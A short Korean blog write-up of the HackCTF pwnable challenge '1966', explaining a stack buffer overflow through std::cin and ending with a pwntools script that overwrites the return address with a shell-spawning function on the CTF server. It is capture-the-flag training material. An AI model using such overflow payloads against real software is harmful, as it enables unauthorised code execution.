WAR GAME/HackCTF

[HackCTF : Pwnable] 1966 풀이 (cpp, BOF)

jir4vvit 2021. 3. 24. 17:54

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

std::cin은 bof가 일어난다는 것을 첨 알았다.


주어진 파일은 문제 바이너리 파일 

 

Analysis

main

별다른 기능을 하지 않는다. 저기 std:cin으로 name을 입력받는다.

저기서 bof가 일어나길 희망하고 테스트해봤더니 bof가 터진다. 앗싸!

 

shell 주는 함수도 있으니 return address를 덮으면 되겠다.

 

How to exploit

return address를 spawn_shell 함수로 덮는다.

 

Let's exploit

from pwn import *

#p = process('./1996')
p = remote('ctf.j0n9hyun.xyz', 3013)
e = ELF('./1996')

shell = 0x400897

payload = ''
payload += 'A' * 0x418
payload += p64(shell)

p.sendline(payload)

p.interactive()